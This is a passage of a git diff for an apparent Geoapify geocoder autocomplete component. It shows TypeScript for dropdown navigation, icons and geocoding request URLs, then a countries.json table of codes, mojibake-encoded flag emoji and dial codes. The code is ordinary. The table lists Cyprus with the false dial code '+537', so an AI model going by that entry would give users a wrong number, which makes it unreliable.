+ + `${mainPart.substring(valueIndex, valueIndex + currentValue.length)}` + + mainPart.substring(valueIndex + currentValue.length); + + } + + return `${mainPart}${secondaryPart}` + } + + private onUserKeyPress(event: KeyboardEvent) { + if (this.autocompleteItemsElement) { + + const itemElements: HTMLCollectionOf = this.autocompleteItemsElement.getElementsByTagName("div"); + if (event.code === 'ArrowDown') { + event.preventDefault(); + + /*If the arrow DOWN key is pressed, increase the focusedItemIndex variable:*/ + this.focusedItemIndex++; + if (this.focusedItemIndex >= itemElements.length) this.focusedItemIndex = 0; + /*and and make the current item more visible:*/ + this.setActive(itemElements, this.focusedItemIndex); + } else if (event.code === 'ArrowUp') { + event.preventDefault(); + + /*If the arrow UP key is pressed, decrease the focusedItemIndex variable:*/ + this.focusedItemIndex--; + if (this.focusedItemIndex < 0) this.focusedItemIndex = (itemElements.length - 1); + /*and and make the current item more visible:*/ + this.setActive(itemElements, this.focusedItemIndex); + } else if (event.code === "Enter") { + /* If the ENTER key is pressed and value as selected, close the list*/ + event.preventDefault(); + if (this.focusedItemIndex > -1) { + this.closeDropDownList(); + } + } else if (event.code === "Escape") { + /* If the ESC key is presses, close the list */ + this.closeDropDownList(); + } + } else { + if (event.code == 'ArrowDown') { + /* Open dropdown list again */ + this.openDropdownAgain(); + } + } + } + + private setActive(items: HTMLCollectionOf, index: number) { + if (!items || !items.length) return false; + + for (var i = 0; i < items.length; i++) { + items[i].classList.remove("active"); + } + + /* Add class "autocomplete-active" to the active element*/ + items[index].classList.add("active"); + + // Change input value and notify + + if (this.postprocessHook && typeof this.postprocessHook === 'function') { + this.inputElement.value = this.postprocessHook(this.currentItems[index]); + } else { + this.inputElement.value = this.currentItems[index].properties.formatted; + } + + this.notifyValueSelected(this.currentItems[index]); + } + + + private setValueAndNotify(feature: any) { + if (this.postprocessHook && typeof this.postprocessHook === 'function') { + this.inputElement.value = this.postprocessHook(feature); + } else { + this.inputElement.value = feature.properties.formatted; + } + + + this.notifyValueSelected(feature); + + /* Close the list of autocompleted values: */ + this.closeDropDownList(); + } + + private clearFieldAndNotify(event: MouseEvent) { + event.stopPropagation(); + this.inputElement.value = ''; + this.inputClearButton.classList.remove("visible"); + + // Cancel previous request + if (this.currentPromiseReject) { + this.currentPromiseReject({ + canceled: true + }); + this.currentPromiseReject = null; + } + + // Cancel previous timeout + if (this.currentTimeout) { + window.clearTimeout(this.currentTimeout); + this.currentTimeout = null; + } + + this.closeDropDownList(); + + // notify here + this.notifyValueSelected(null); + } + + private closeDropDownList() { + if (this.autocompleteItemsElement) { + this.container.removeChild(this.autocompleteItemsElement); + this.autocompleteItemsElement = null; + this.notifyClosed(); + } + } + + private addIcon(element: HTMLElement, icon: string) { + + //FortAwesome icons 5. Licence - https://fontawesome.com/license/free + + const icons: { [key: string]: any } = { + "close": { + path: "M19 6.41L17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z", + viewbox: "0 0 24 24" + }, + "map-marker": { + path: "M172.268 501.67C26.97 291.031 0 269.413 0 192 0 85.961 85.961 0 192 0s192 85.961 192 192c0 77.413-26.97 99.031-172.268 309.67-9.535 13.774-29.93 13.773-39.464 0zM192 272c44.183 0 80-35.817 80-80s-35.817-80-80-80-80 35.817-80 80 35.817 80 80 80z", + viewbox: "0 0 384 512" + }, + "road": { + path: "M573.19 402.67l-139.79-320C428.43 71.29 417.6 64 405.68 64h-97.59l2.45 23.16c.5 4.72-3.21 8.84-7.96 8.84h-29.16c-4.75 0-8.46-4.12-7.96-8.84L267.91 64h-97.59c-11.93 0-22.76 7.29-27.73 18.67L2.8 402.67C-6.45 423.86 8.31 448 30.54 448h196.84l10.31-97.68c.86-8.14 7.72-14.32 15.91-14.32h68.8c8.19 0 15.05 6.18 15.91 14.32L348.62 448h196.84c22.23 0 36.99-24.14 27.73-45.33zM260.4 135.16a8 8 0 0 1 7.96-7.16h39.29c4.09 0 7.53 3.09 7.96 7.16l4.6 43.58c.75 7.09-4.81 13.26-11.93 13.26h-40.54c-7.13 0-12.68-6.17-11.93-13.26l4.59-43.58zM315.64 304h-55.29c-9.5 0-16.91-8.23-15.91-17.68l5.07-48c.86-8.14 7.72-14.32 15.91-14.32h45.15c8.19 0 15.05 6.18 15.91 14.32l5.07 48c1 9.45-6.41 17.68-15.91 17.68z", + viewbox: "0 0 576 512" + }, + "city": { + path: "M616 192H480V24c0-13.26-10.74-24-24-24H312c-13.26 0-24 10.74-24 24v72h-64V16c0-8.84-7.16-16-16-16h-16c-8.84 0-16 7.16-16 16v80h-64V16c0-8.84-7.16-16-16-16H80c-8.84 0-16 7.16-16 16v80H24c-13.26 0-24 10.74-24 24v360c0 17.67 14.33 32 32 32h576c17.67 0 32-14.33 32-32V216c0-13.26-10.75-24-24-24zM128 404c0 6.63-5.37 12-12 12H76c-6.63 0-12-5.37-12-12v-40c0-6.63 5.37-12 12-12h40c6.63 0 12 5.37 12 12v40zm0-96c0 6.63-5.37 12-12 12H76c-6.63 0-12-5.37-12-12v-40c0-6.63 5.37-12 12-12h40c6.63 0 12 5.37 12 12v40zm0-96c0 6.63-5.37 12-12 12H76c-6.63 0-12-5.37-12-12v-40c0-6.63 5.37-12 12-12h40c6.63 0 12 5.37 12 12v40zm128 192c0 6.63-5.37 12-12 12h-40c-6.63 0-12-5.37-12-12v-40c0-6.63 5.37-12 12-12h40c6.63 0 12 5.37 12 12v40zm0-96c0 6.63-5.37 12-12 12h-40c-6.63 0-12-5.37-12-12v-40c0-6.63 5.37-12 12-12h40c6.63 0 12 5.37 12 12v40zm0-96c0 6.63-5.37 12-12 12h-40c-6.63 0-12-5.37-12-12v-40c0-6.63 5.37-12 12-12h40c6.63 0 12 5.37 12 12v40zm160 96c0 6.63-5.37 12-12 12h-40c-6.63 0-12-5.37-12-12v-40c0-6.63 5.37-12 12-12h40c6.63 0 12 5.37 12 12v40zm0-96c0 6.63-5.37 12-12 12h-40c-6.63 0-12-5.37-12-12v-40c0-6.63 5.37-12 12-12h40c6.63 0 12 5.37 12 12v40zm0-96c0 6.63-5.37 12-12 12h-40c-6.63 0-12-5.37-12-12V76c0-6.63 5.37-12 12-12h40c6.63 0 12 5.37 12 12v40zm160 288c0 6.63-5.37 12-12 12h-40c-6.63 0-12-5.37-12-12v-40c0-6.63 5.37-12 12-12h40c6.63 0 12 5.37 12 12v40zm0-96c0 6.63-5.37 12-12 12h-40c-6.63 0-12-5.37-12-12v-40c0-6.63 5.37-12 12-12h40c6.63 0 12 5.37 12 12v40z", + viewbox: "0 0 640 512" + } + } + + var svgElement = document.createElementNS("http://www.w3.org/2000/svg", 'svg'); + svgElement.setAttribute('viewBox', icons[icon].viewbox); + svgElement.setAttribute('height', "24"); + + var iconElement = document.createElementNS("http://www.w3.org/2000/svg", 'path'); + iconElement.setAttribute("d", icons[icon].path); + iconElement.setAttribute('fill', 'currentColor'); + svgElement.appendChild(iconElement); + element.appendChild(svgElement); + } + + private addFeatureIcon(element: HTMLElement, type: string, countryCode: string) { + const iconMap: any = { + 'unknown': 'map-marker', + 'amenity': 'map-marker', + 'building': 'map-marker', + 'street': 'road', + 'suburb': 'city', + 'district': 'city', + 'postcode': 'city', + 'city': 'city', + 'county': 'city', + 'state': 'city' + }; + + const countryData = countiesData.find(county => countryCode && county.code.toLowerCase() === countryCode.toLowerCase()); + + if ((type === 'country') && countryData) { + element.classList.add("emoji");; + const emojiElement = document.createElement('span'); + emojiElement.innerText = countryData.emoji; + element.appendChild(emojiElement); + } else if (iconMap[type]) { + this.addIcon(element, iconMap[type]) + } else { + this.addIcon(element, 'map-marker'); + } + } + + private notifyValueSelected(feature: any) { + + // Cancel previous place details request + if (this.currentPlaceDetailsPromiseReject) { + this.currentPlaceDetailsPromiseReject({ + canceled: true + }); + this.currentPlaceDetailsPromiseReject = null; + } + + if (this.options.skipDetails || !feature) { + this.changeCallbacks.forEach(callback => callback(feature)); + } else { + const promise = new Promise((resolve, reject) => { + this.currentPlaceDetailsPromiseReject = reject; + let url = this.generatePlacesUrlUrl(feature.properties.place_id); + + fetch(url) + .then((response) => { + if (response.ok) { + response.json().then(data => resolve(data)); + } else { + response.json().then(data => reject(data)); + } + }); + }); + + + promise.then((data: any) => { + + if (!data.features.length) { + this.changeCallbacks.forEach(callback => callback(feature)); + return; + } + + const placeDetails = data.features[0]; + this.changeCallbacks.forEach(callback => callback(placeDetails)); + this.currentPlaceDetailsPromiseReject = null; + + }, (err) => { + if (!err.canceled) { + console.log(err); + } + }); + } + } + + private notifySuggestions(features: any) { + this.suggestionsChangeCallbacks.forEach(callback => callback(features)); + } + + private notifyOpened() { + this.openCallbacks.forEach(callback => callback(true)); + } + + private notifyClosed() { + this.closeCallbacks.forEach(callback => callback(false)); + } + + private openDropdownAgain() { + const event = document.createEvent('Event'); + event.initEvent('input', true, true); + this.inputElement.dispatchEvent(event); + } + + private generatePlacesUrlUrl(placeId: string): string { + let url = `${this.placeDetailsUrl}?id=${placeId}&apiKey=${this.apiKey}`; + if (this.options.lang) { + url += `&lang=${this.options.lang}`; + } + return url; + } + + private generateUrl(value: string): string { + let url = `${this.geocoderUrl}?text=${encodeURIComponent(value)}&apiKey=${this.apiKey}`; + // Add type of the location if set. Learn more about possible parameters on https://apidocs.geoapify.com/docs/geocoding/api/api + if (this.options.type) { + url += `&type=${this.options.type}`; + } + + if (this.options.limit) { + url += `&limit=${this.options.limit}`; + } + + if (this.options.lang) { + url += `&lang=${this.options.lang}`; + } + + const filters = []; + const filterByCountryCodes: ByCountryCodeOptions = this.options.filter[this.BY_COUNTRYCODE] as ByCountryCodeOptions; + const filterByCircle: ByCircleOptions = this.options.filter[this.BY_CIRCLE] as ByCircleOptions; + const filterByRect: ByRectOptions = this.options.filter[this.BY_RECT] as ByRectOptions; + + if (filterByCountryCodes && filterByCountryCodes.length) { + filters.push(`countrycode:${filterByCountryCodes.join(',').toLowerCase()}`); + } + + if (filterByCircle && this.isLatitude(filterByCircle.lat) && this.isLongitude(filterByCircle.lon) && filterByCircle.radiusMeters > 0) { + filters.push(`circle:${filterByCircle.lon},${filterByCircle.lat},${filterByCircle.radiusMeters}`); + } + + if (filterByRect && this.isLatitude(filterByRect.lat1) && this.isLongitude(filterByRect.lon1) && this.isLatitude(filterByRect.lat2) && this.isLongitude(filterByRect.lon2)) { + filters.push(`rect:${filterByRect.lon1},${filterByRect.lat1},${filterByRect.lon2},${filterByRect.lat2}`); + } + url += filters.length ? `&filter=${filters.join('|')}` : ''; + + const bias = []; + const biasByCountryCodes: ByCountryCodeOptions = this.options.bias[this.BY_COUNTRYCODE] as ByCountryCodeOptions; + const biasByCircle: ByCircleOptions = this.options.bias[this.BY_CIRCLE] as ByCircleOptions; + const biasByRect: ByRectOptions = this.options.bias[this.BY_RECT] as ByRectOptions; + const biasByProximity: ByProximityOptions = this.options.bias[this.BY_PROXIMITY] as ByProximityOptions; + + if (biasByCountryCodes && biasByCountryCodes.length) { + bias.push(`countrycode:${biasByCountryCodes.join(',').toLowerCase()}`); + } + + if (biasByCircle && this.isLatitude(biasByCircle.lat) && this.isLongitude(biasByCircle.lon) && biasByCircle.radiusMeters > 0) { + bias.push(`circle:${biasByCircle.lon},${biasByCircle.lat},${biasByCircle.radiusMeters}`); + } + + if (biasByRect && this.isLatitude(biasByRect.lat1) && this.isLongitude(biasByRect.lon1) && this.isLatitude(biasByRect.lat2) && this.isLongitude(biasByRect.lon2)) { + bias.push(`rect:${biasByRect.lon1},${biasByRect.lat1},${biasByRect.lon2},${biasByRect.lat2}`); + } + + if (biasByProximity && this.isLatitude(biasByProximity.lat) && this.isLongitude(biasByProximity.lon)) { + bias.push(`proximity:${biasByProximity.lon},${biasByProximity.lat}`); + } + + url += bias.length ? `&bias=${bias.join('|')}` : ''; + + return url; + } + + private isLatitude(num: any) { + return num !== '' && num !== null && isFinite(num) && Math.abs(num) <= 90; + } + + private isLongitude(num: any) { + return num !== '' && num !== null && isFinite(num) && Math.abs(num) <= 180; + } +} + +export interface GeocoderAutocompleteOptions { + type?: LocationType; + lang?: SupportedLanguage; + limit?: number; + placeholder?: string; + debounceDelay?: number; + + filter?: { [key: string]: ByCircleOptions | ByCountryCodeOptions | ByRectOptions }, + bias?: { [key: string]: ByCircleOptions | ByCountryCodeOptions | ByRectOptions | ByProximityOptions }, + + skipIcons?: boolean; + skipDetails?: boolean; + + // to remove in the next version + position?: GeoPosition; + countryCodes?: CountyCode[]; +} + +export interface GeoPosition { + lat: number; + lon: number; +} + +export type ByCountryCodeOptions = CountyCode[]; + +export interface ByProximityOptions { + lon: number; + lat: number; +} + +export interface ByCircleOptions { + lon: number; + lat: number; + radiusMeters: number; +} + +export interface ByRectOptions { + lon1: number; + lat1: number; + lon2: number; + lat2: number; +} + +export type LocationType = 'country' | 'state' | 'city' | 'postcode' | 'street' | 'amenity'; +export type SupportedLanguage = "ab" | "aa" | "af" | "ak" | "sq" | "am" | "ar" | "an" | "hy" | "as" | "av" | "ae" | "ay" | "az" | "bm" | "ba" | "eu" | "be" | "bn" | "bh" | "bi" | "bs" | "br" | "bg" | "my" | "ca" | "ch" | "ce" | "ny" | "zh" | "cv" | "kw" | "co" | "cr" | "hr" | "cs" | "da" | "dv" | "nl" | "en" | "eo" | "et" | "ee" | "fo" | "fj" | "fi" | "fr" | "ff" | "gl" | "ka" | "de" | "el" | "gn" | "gu" | "ht" | "ha" | "he" | "hz" | "hi" | "ho" | "hu" | "ia" | "id" | "ie" | "ga" | "ig" | "ik" | "io" | "is" | "it" | "iu" | "ja" | "jv" | "kl" | "kn" | "kr" | "ks" | "kk" | "km" | "ki" | "rw" | "ky" | "kv" | "kg" | "ko" | "ku" | "kj" | "la" | "lb" | "lg" | "li" | "ln" | "lo" | "lt" | "lu" | "lv" | "gv" | "mk" | "mg" | "ms" | "ml" | "mt" | "mi" | "mr" | "mh" | "mn" | "na" | "nv" | "nb" | "nd" | "ne" | "ng" | "nn" | "no" | "ii" | "nr" | "oc" | "oj" | "cu" | "om" | "or" | "os" | "pa" | "pi" | "fa" | "pl" | "ps" | "pt" | "qu" | "rm" | "rn" | "ro" | "ru" | "sa" | "sc" | "sd" | "se" | "sm" | "sg" | "sr" | "gd" | "sn" | "si" | "sk" | "sl" | "so" | "st" | "es" | "su" | "sw" | "ss" | "sv" | "ta" | "te" | "tg" | "th" | "ti" | "bo" | "tk" | "tl" | "tn" | "to" | "tr" | "ts" | "tt" | "tw" | "ty" | "ug" | "uk" | "ur" | "uz" | "ve" | "vi" | "vo" | "wa" | "cy" | "wo" | "fy" | "xh" | "yi" | "yo" | "za"; +export type CountyCode = "none" | "auto" | "ad" | "ae" | "af" | "ag" | "ai" | "al" | "am" | "an" | "ao" | "ap" | "aq" | "ar" | "as" | "at" | "au" | "aw" | "az" | "ba" | "bb" | "bd" | "be" | "bf" | "bg" | "bh" | "bi" | "bj" | "bm" | "bn" | "bo" | "br" | "bs" | "bt" | "bv" | "bw" | "by" | "bz" | "ca" | "cc" | "cd" | "cf" | "cg" | "ch" | "ci" | "ck" | "cl" | "cm" | "cn" | "co" | "cr" | "cu" | "cv" | "cx" | "cy" | "cz" | "de" | "dj" | "dk" | "dm" | "do" | "dz" | "ec" | "ee" | "eg" | "eh" | "er" | "es" | "et" | "eu" | "fi" | "fj" | "fk" | "fm" | "fo" | "fr" | "ga" | "gb" | "gd" | "ge" | "gf" | "gh" | "gi" | "gl" | "gm" | "gn" | "gp" | "gq" | "gr" | "gs" | "gt" | "gu" | "gw" | "gy" | "hk" | "hm" | "hn" | "hr" | "ht" | "hu" | "id" | "ie" | "il" | "in" | "io" | "iq" | "ir" | "is" | "it" | "jm" | "jo" | "jp" | "ke" | "kg" | "kh" | "ki" | "km" | "kn" | "kp" | "kr" | "kw" | "ky" | "kz" | "la" | "lb" | "lc" | "li" | "lk" | "lr" | "ls" | "lt" | "lu" | "lv" | "ly" | "ma" | "mc" | "md" | "me" | "mg" | "mh" | "mk" | "ml" | "mm" | "mn" | "mo" | "mp" | "mq" | "mr" | "ms" | "mt" | "mu" | "mv" | "mw" | "mx" | "my" | "mz" | "na" | "nc" | "ne" | "nf" | "ng" | "ni" | "nl" | "no" | "np" | "nr" | "nu" | "nz" | "om" | "pa" | "pe" | "pf" | "pg" | "ph" | "pk" | "pl" | "pm" | "pr" | "ps" | "pt" | "pw" | "py" | "qa" | "re" | "ro" | "rs" | "ru" | "rw" | "sa" | "sb" | "sc" | "sd" | "se" | "sg" | "sh" | "si" | "sj" | "sk" | "sl" | "sm" | "sn" | "so" | "sr" | "st" | "sv" | "sy" | "sz" | "tc" | "td" | "tf" | "tg" | "th" | "tj" | "tk" | "tm" | "tn" | "to" | "tr" | "tt" | "tv" | "tw" | "tz" | "ua" | "ug" | "um" | "us" | "uy" | "uz" | "va" | "vc" | "ve" | "vg" | "vi" | "vn" | "vu" | "wf" | "ws" | "ye" | "yt" | "za" | "zm" | "zw"; diff --git a/src/countries.json b/src/countries.json index 0caf583..ded5764 100644 --- a/src/countries.json +++ b/src/countries.json @@ -1,2000 +1,2000 @@ -[ - { - "code": "AD", - "emoji": "๐Ÿ‡ฆ๐Ÿ‡ฉ", - "unicode": "U+1F1E6 U+1F1E9", - "name": "Andorra", - "title": "flag for Andorra", - "dialCode": "+376" - }, - { - "code": "AE", - "emoji": "๐Ÿ‡ฆ๐Ÿ‡ช", - "unicode": "U+1F1E6 U+1F1EA", - "name": "United Arab Emirates", - "title": "flag for United Arab Emirates", - "dialCode": "+971" - }, - { - "code": "AF", - "emoji": "๐Ÿ‡ฆ๐Ÿ‡ซ", - "unicode": "U+1F1E6 U+1F1EB", - "name": "Afghanistan", - "title": "flag for Afghanistan", - "dialCode": "+93" - }, - { - "code": "AG", - "emoji": "๐Ÿ‡ฆ๐Ÿ‡ฌ", - "unicode": "U+1F1E6 U+1F1EC", - "name": "Antigua and Barbuda", - "title": "flag for Antigua and Barbuda", - "dialCode": "+1268" - }, - { - "code": "AI", - "emoji": "๐Ÿ‡ฆ๐Ÿ‡ฎ", - "unicode": "U+1F1E6 U+1F1EE", - "name": "Anguilla", - "title": "flag for Anguilla", - "dialCode": "+1 264" - }, - { - "code": "AL", - "emoji": "๐Ÿ‡ฆ๐Ÿ‡ฑ", - "unicode": "U+1F1E6 U+1F1F1", - "name": "Albania", - "title": "flag for Albania", - "dialCode": "+355" - }, - { - "code": "AM", - "emoji": "๐Ÿ‡ฆ๐Ÿ‡ฒ", - "unicode": "U+1F1E6 U+1F1F2", - "name": "Armenia", - "title": "flag for Armenia", - "dialCode": "+374" - }, - { - "code": "AO", - "emoji": "๐Ÿ‡ฆ๐Ÿ‡ด", - "unicode": "U+1F1E6 U+1F1F4", - "name": "Angola", - "title": "flag for Angola", - "dialCode": "+244" - }, - { - "code": "AQ", - "emoji": "๐Ÿ‡ฆ๐Ÿ‡ถ", - "unicode": "U+1F1E6 U+1F1F6", - "name": "Antarctica", - "title": "flag for Antarctica", - "dialCode": null - }, - { - "code": "AR", - "emoji": "๐Ÿ‡ฆ๐Ÿ‡ท", - "unicode": "U+1F1E6 U+1F1F7", - "name": "Argentina", - "title": "flag for Argentina", - "dialCode": "+54" - }, - { - "code": "AS", - "emoji": "๐Ÿ‡ฆ๐Ÿ‡ธ", - "unicode": "U+1F1E6 U+1F1F8", - "name": "American Samoa", - "title": "flag for American Samoa", - "dialCode": "+1 684" - }, - { - "code": "AT", - "emoji": "๐Ÿ‡ฆ๐Ÿ‡น", - "unicode": "U+1F1E6 U+1F1F9", - "name": "Austria", - "title": "flag for Austria", - "dialCode": "+43" - }, - { - "code": "AU", - "emoji": "๐Ÿ‡ฆ๐Ÿ‡บ", - "unicode": "U+1F1E6 U+1F1FA", - "name": "Australia", - "title": "flag for Australia", - "dialCode": "+61" - }, - { - "code": "AW", - "emoji": "๐Ÿ‡ฆ๐Ÿ‡ผ", - "unicode": "U+1F1E6 U+1F1FC", - "name": "Aruba", - "title": "flag for Aruba", - "dialCode": "+297" - }, - { - "code": "AX", - "emoji": "๐Ÿ‡ฆ๐Ÿ‡ฝ", - "unicode": "U+1F1E6 U+1F1FD", - "name": "ร…land Islands", - "title": "flag for ร…land Islands", - "dialCode": "" - }, - { - "code": "AZ", - "emoji": "๐Ÿ‡ฆ๐Ÿ‡ฟ", - "unicode": "U+1F1E6 U+1F1FF", - "name": "Azerbaijan", - "title": "flag for Azerbaijan", - "dialCode": "+994" - }, - { - "code": "BA", - "emoji": "๐Ÿ‡ง๐Ÿ‡ฆ", - "unicode": "U+1F1E7 U+1F1E6", - "name": "Bosnia and Herzegovina", - "title": "flag for Bosnia and Herzegovina", - "dialCode": "+387" - }, - { - "code": "BB", - "emoji": "๐Ÿ‡ง๐Ÿ‡ง", - "unicode": "U+1F1E7 U+1F1E7", - "name": "Barbados", - "title": "flag for Barbados", - "dialCode": "+1 246" - }, - { - "code": "BD", - "emoji": "๐Ÿ‡ง๐Ÿ‡ฉ", - "unicode": "U+1F1E7 U+1F1E9", - "name": "Bangladesh", - "title": "flag for Bangladesh", - "dialCode": "+880" - }, - { - "code": "BE", - "emoji": "๐Ÿ‡ง๐Ÿ‡ช", - "unicode": "U+1F1E7 U+1F1EA", - "name": "Belgium", - "title": "flag for Belgium", - "dialCode": "+32" - }, - { - "code": "BF", - "emoji": "๐Ÿ‡ง๐Ÿ‡ซ", - "unicode": "U+1F1E7 U+1F1EB", - "name": "Burkina Faso", - "title": "flag for Burkina Faso", - "dialCode": "+226" - }, - { - "code": "BG", - "emoji": "๐Ÿ‡ง๐Ÿ‡ฌ", - "unicode": "U+1F1E7 U+1F1EC", - "name": "Bulgaria", - "title": "flag for Bulgaria", - "dialCode": "+359" - }, - { - "code": "BH", - "emoji": "๐Ÿ‡ง๐Ÿ‡ญ", - "unicode": "U+1F1E7 U+1F1ED", - "name": "Bahrain", - "title": "flag for Bahrain", - "dialCode": "+973" - }, - { - "code": "BI", - "emoji": "๐Ÿ‡ง๐Ÿ‡ฎ", - "unicode": "U+1F1E7 U+1F1EE", - "name": "Burundi", - "title": "flag for Burundi", - "dialCode": "+257" - }, - { - "code": "BJ", - "emoji": "๐Ÿ‡ง๐Ÿ‡ฏ", - "unicode": "U+1F1E7 U+1F1EF", - "name": "Benin", - "title": "flag for Benin", - "dialCode": "+229" - }, - { - "code": "BL", - "emoji": "๐Ÿ‡ง๐Ÿ‡ฑ", - "unicode": "U+1F1E7 U+1F1F1", - "name": "Saint Barthรฉlemy", - "title": "flag for Saint Barthรฉlemy", - "dialCode": "+590" - }, - { - "code": "BM", - "emoji": "๐Ÿ‡ง๐Ÿ‡ฒ", - "unicode": "U+1F1E7 U+1F1F2", - "name": "Bermuda", - "title": "flag for Bermuda", - "dialCode": "+1 441" - }, - { - "code": "BN", - "emoji": "๐Ÿ‡ง๐Ÿ‡ณ", - "unicode": "U+1F1E7 U+1F1F3", - "name": "Brunei Darussalam", - "title": "flag for Brunei Darussalam", - "dialCode": "+673" - }, - { - "code": "BO", - "emoji": "๐Ÿ‡ง๐Ÿ‡ด", - "unicode": "U+1F1E7 U+1F1F4", - "name": "Bolivia", - "title": "flag for Bolivia", - "dialCode": "+591" - }, - { - "code": "BQ", - "emoji": "๐Ÿ‡ง๐Ÿ‡ถ", - "unicode": "U+1F1E7 U+1F1F6", - "name": "Bonaire, Sint Eustatius and Saba", - "title": "flag for Bonaire, Sint Eustatius and Saba" - }, - { - "code": "BR", - "emoji": "๐Ÿ‡ง๐Ÿ‡ท", - "unicode": "U+1F1E7 U+1F1F7", - "name": "Brazil", - "title": "flag for Brazil", - "dialCode": "+55" - }, - { - "code": "BS", - "emoji": "๐Ÿ‡ง๐Ÿ‡ธ", - "unicode": "U+1F1E7 U+1F1F8", - "name": "Bahamas", - "title": "flag for Bahamas", - "dialCode": "+1 242" - }, - { - "code": "BT", - "emoji": "๐Ÿ‡ง๐Ÿ‡น", - "unicode": "U+1F1E7 U+1F1F9", - "name": "Bhutan", - "title": "flag for Bhutan", - "dialCode": "+975" - }, - { - "code": "BV", - "emoji": "๐Ÿ‡ง๐Ÿ‡ป", - "unicode": "U+1F1E7 U+1F1FB", - "name": "Bouvet Island", - "title": "flag for Bouvet Island" - }, - { - "code": "BW", - "emoji": "๐Ÿ‡ง๐Ÿ‡ผ", - "unicode": "U+1F1E7 U+1F1FC", - "name": "Botswana", - "title": "flag for Botswana", - "dialCode": "+267" - }, - { - "code": "BY", - "emoji": "๐Ÿ‡ง๐Ÿ‡พ", - "unicode": "U+1F1E7 U+1F1FE", - "name": "Belarus", - "title": "flag for Belarus", - "dialCode": "+375" - }, - { - "code": "BZ", - "emoji": "๐Ÿ‡ง๐Ÿ‡ฟ", - "unicode": "U+1F1E7 U+1F1FF", - "name": "Belize", - "title": "flag for Belize", - "dialCode": "+501" - }, - { - "code": "CA", - "emoji": "๐Ÿ‡จ๐Ÿ‡ฆ", - "unicode": "U+1F1E8 U+1F1E6", - "name": "Canada", - "title": "flag for Canada", - "dialCode": "+1" - }, - { - "code": "CC", - "emoji": "๐Ÿ‡จ๐Ÿ‡จ", - "unicode": "U+1F1E8 U+1F1E8", - "name": "Cocos (Keeling) Islands", - "title": "flag for Cocos (Keeling) Islands", - "dialCode": "+61" - }, - { - "code": "CD", - "emoji": "๐Ÿ‡จ๐Ÿ‡ฉ", - "unicode": "U+1F1E8 U+1F1E9", - "name": "Congo", - "title": "flag for Congo", - "dialCode": "+243" - }, - { - "code": "CF", - "emoji": "๐Ÿ‡จ๐Ÿ‡ซ", - "unicode": "U+1F1E8 U+1F1EB", - "name": "Central African Republic", - "title": "flag for Central African Republic", - "dialCode": "+236" - }, - { - "code": "CG", - "emoji": "๐Ÿ‡จ๐Ÿ‡ฌ", - "unicode": "U+1F1E8 U+1F1EC", - "name": "Congo", - "title": "flag for Congo", - "dialCode": "+242" - }, - { - "code": "CH", - "emoji": "๐Ÿ‡จ๐Ÿ‡ญ", - "unicode": "U+1F1E8 U+1F1ED", - "name": "Switzerland", - "title": "flag for Switzerland", - "dialCode": "+41" - }, - { - "code": "CI", - "emoji": "๐Ÿ‡จ๐Ÿ‡ฎ", - "unicode": "U+1F1E8 U+1F1EE", - "name": "Cรดte D'Ivoire", - "title": "flag for Cรดte D'Ivoire", - "dialCode": "+225" - }, - { - "code": "CK", - "emoji": "๐Ÿ‡จ๐Ÿ‡ฐ", - "unicode": "U+1F1E8 U+1F1F0", - "name": "Cook Islands", - "title": "flag for Cook Islands", - "dialCode": "+682" - }, - { - "code": "CL", - "emoji": "๐Ÿ‡จ๐Ÿ‡ฑ", - "unicode": "U+1F1E8 U+1F1F1", - "name": "Chile", - "title": "flag for Chile", - "dialCode": "+56" - }, - { - "code": "CM", - "emoji": "๐Ÿ‡จ๐Ÿ‡ฒ", - "unicode": "U+1F1E8 U+1F1F2", - "name": "Cameroon", - "title": "flag for Cameroon", - "dialCode": "+237" - }, - { - "code": "CN", - "emoji": "๐Ÿ‡จ๐Ÿ‡ณ", - "unicode": "U+1F1E8 U+1F1F3", - "name": "China", - "title": "flag for China", - "dialCode": "+86" - }, - { - "code": "CO", - "emoji": "๐Ÿ‡จ๐Ÿ‡ด", - "unicode": "U+1F1E8 U+1F1F4", - "name": "Colombia", - "title": "flag for Colombia", - "dialCode": "+57" - }, - { - "code": "CR", - "emoji": "๐Ÿ‡จ๐Ÿ‡ท", - "unicode": "U+1F1E8 U+1F1F7", - "name": "Costa Rica", - "title": "flag for Costa Rica", - "dialCode": "+506" - }, - { - "code": "CU", - "emoji": "๐Ÿ‡จ๐Ÿ‡บ", - "unicode": "U+1F1E8 U+1F1FA", - "name": "Cuba", - "title": "flag for Cuba", - "dialCode": "+53" - }, - { - "code": "CV", - "emoji": "๐Ÿ‡จ๐Ÿ‡ป", - "unicode": "U+1F1E8 U+1F1FB", - "name": "Cape Verde", - "title": "flag for Cape Verde", - "dialCode": "+238" - }, - { - "code": "CW", - "emoji": "๐Ÿ‡จ๐Ÿ‡ผ", - "unicode": "U+1F1E8 U+1F1FC", - "name": "Curaรงao", - "title": "flag for Curaรงao" - }, - { - "code": "CX", - "emoji": "๐Ÿ‡จ๐Ÿ‡ฝ", - "unicode": "U+1F1E8 U+1F1FD", - "name": "Christmas Island", - "title": "flag for Christmas Island", - "dialCode": "+61" - }, - { - "code": "CY", - "emoji": "๐Ÿ‡จ๐Ÿ‡พ", - "unicode": "U+1F1E8 U+1F1FE", - "name": "Cyprus", - "title": "flag for Cyprus", - "dialCode": "+537" - }, - { - "code": "CZ", - "emoji": "๐Ÿ‡จ๐Ÿ‡ฟ", - "unicode": "U+1F1E8 U+1F1FF", - "name": "Czech Republic", - "title": "flag for Czech Republic", - "dialCode": "+420" - }, - { - "code": "DE", - "emoji": "๐Ÿ‡ฉ๐Ÿ‡ช", - "unicode": "U+1F1E9 U+1F1EA", - "name": "Germany", - "title": "flag for Germany", - "dialCode": "+49" - }, - { - "code": "DJ", - "emoji": "๐Ÿ‡ฉ๐Ÿ‡ฏ", - "unicode": "U+1F1E9 U+1F1EF", - "name": "Djibouti", - "title": "flag for Djibouti", - "dialCode": "+253" - }, - { - "code": "DK", - "emoji": "๐Ÿ‡ฉ๐Ÿ‡ฐ", - "unicode": "U+1F1E9 U+1F1F0", - "name": "Denmark", - "title": "flag for Denmark", - "dialCode": "+45" - }, - { - "code": "DM", - "emoji": "๐Ÿ‡ฉ๐Ÿ‡ฒ", - "unicode": "U+1F1E9 U+1F1F2", - "name": "Dominica", - "title": "flag for Dominica", - "dialCode": "+1 767" - }, - { - "code": "DO", - "emoji": "๐Ÿ‡ฉ๐Ÿ‡ด", - "unicode": "U+1F1E9 U+1F1F4", - "name": "Dominican Republic", - "title": "flag for Dominican Republic", - 